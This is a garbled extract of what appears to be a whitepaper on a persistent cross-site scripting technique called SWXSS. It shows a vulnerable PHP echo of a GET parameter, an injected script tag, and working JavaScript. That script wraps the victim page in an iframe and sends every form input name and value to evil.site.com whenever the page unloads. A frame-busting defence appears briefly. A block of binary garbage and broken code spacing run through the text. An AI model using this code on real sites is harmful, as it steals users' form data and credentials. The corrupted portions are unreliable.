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What SWXSS could be used for 
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Unwrapping it 
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01 <html> 
02   <body> 
03     <?php echo $_GET['vulnparam']; ?> 
04     <br> 
05     <a href="index.php">click me</A> 
06   </body> 
07 </html> 
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01 <script 
src='http://evil.site.com/evil.js'></script><script >su('http://vulnerable.site.com
/vuln.php')</script> 

&������,�����������'�

0
,�
�#���
�������?
#�����#������������
���#	
�,��� ��
�$
#���
���
�#�"
�������$�����
���F
"���������
�
���
�'() �

�����������������	
���
�#�"
�
���
��������������
�� �"����
�������
�����������������������#���
����
�#� ����
��� �

��
��$��
�#�"
��������	
���
�$����
��"������"���
�� #������������ ��������
����
� ����5��
��� ���
 #�� %���������
��
����	
���
�$����
��
1
#��
���
����#��������
"��� &*%����#�����#����
������������ �������  ���
�
����
�
������� ��#������������$�
�������
�"�1�� �

0
�#��������������%��������
����#�������&*������
"� ����
���������
�!�(�CD,����"�����""���
�������
��'����"�
�
���#���$�#	 ���
������
���������������$ 
��$�
����#����
���������
�������"������
�!�(�CD �
�������	
����
��#�������$������
��
�
��#��������
�# ����������������������
����?
#�4'() �

C
��������
���?
#��#�"
��������
�����
��$�
������#� �������������	���	
�����5 �

����5������
��$�
 ���
 #������� ���H���������IJ�#�� ��K��#I
����5��
��� ���
 #���
��� ?�
LJ��#����LJ�#� ���L
��&
����5������
��$�
 ���
 #������� ���
*J��#����L �

su(myURL) function 
01 function su(myURL){ 
02   document.body.style.padding = 0; 
03   document.body.style.margin = 0; 
04   document.body.style.overflow = 'hidden'; 
05   document.body.innerHTML=("<iframe src='" + myURL + "' frameborder=0 id='p0wned' 

height='100%' width='100%'></iframe><iframe src='ht tp://evil.site.com/vuln' 
height='0%' width='0%' id='POSTBACK'></iframe>"); 

06  
07   addCallBack(); 
08 } 
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addCallBack function 
01 function addCallBack(){ 
02   el = document.getElementById('p0wned').contentWin dow; 
03  
04   if (el.addEventListener){ 
05     el.addEventListener('unload', callBack, false);  
06   } else { 
07     el.attachEvent('onunload', callBack); 
08   } 
09 } 
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callBack function 
01 function cb(){ 
02     var el = document.getElementById('p0wned'); 
03     var iA = getIfrmDoc(el).getElementsByTagName('i nput'); 
04     var pm = 'http://evil.site.com/vuln?url=' + el. contentWindow.location.href; 
05  
06     for(i=0;i<iA.length;i++){ 
07       pm = pm + '&' + iA[i].name + '=' + iA[i].valu e; 
08     } 
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09     document.getElementById('POSTBACK').contentWind ow.location.href = pm; 
10    
11     var t = setTimeout('d();', 5000); 
12 } 
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Output validation 
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01 if (top.location != location) { 
02     top.location.href = document.location.href ; 
03   } 
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Known limitations with SWXSS 
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Browser compatibility 
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Appendix A 
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01 function getIfrmDoc(ifrm) { 
02   var doc; 
03   if( ifrm.contentDocument ) 
04     doc = ifrm.contentDocument; 
05     else if( ifrm.contentWindow ) 
06       // For IE5.5 and IE6 
07       doc = ifrm.contentWindow.document; 
08     else if( ifrm.document ) 
09       // For IE5 
10       doc = ifrm.document; 
11     else //other browser 
12       doc = ifrm.document;      
13  
14     return doc; 
15 } 
16  
17 function callBack(){ 
18     var el = document.getElementById('p0wned'); 
19     var iA = getIfrmDoc(el).getElementsByTagName('i nput'); 
20     var pm = 'http://evil.site.com/vuln?url=' + el. contentWindow.location.href; 
21  
22     for(i=0;i<iA.length;i++){ 
23       pm = pm + '&' + iA[i].name + '=' + iA[i].valu e; 
24     } 
25     document.getElementById('POSTBACK').contentWind ow.location.href = pm; 
26    
27     var t = setTimeout('addCallBack();', 5000); 
28 } 
29  
30 function addCallBack(){ 
31   el = document.getElementById('p0wned').contentWin dow; 
32  
33   if (el.addEventListener){ 
34     el.addEventListener('unload', callBack, false);   
35   } else { 
36     el.attachEvent('onunload', callBack); 
37   }  
38 } 
39  
40 function su(myURL){ 
41   document.body.style.padding = 0; 
42   document.body.style.margin = 0; 
43   document.body.style.overflow = 'hidden'; 
44   document.body.innerHTML = ("<iframe src='" + myUR L + "' frameborder='0' 

id='p0wned' height='100%' width='100%'></iframe><if rame 
src='http://evil.site.com/asd' height='0%' width='0 %' id='POSTBACK'></iframe>"); 

45  
46   addCallBack(); 
47 } 


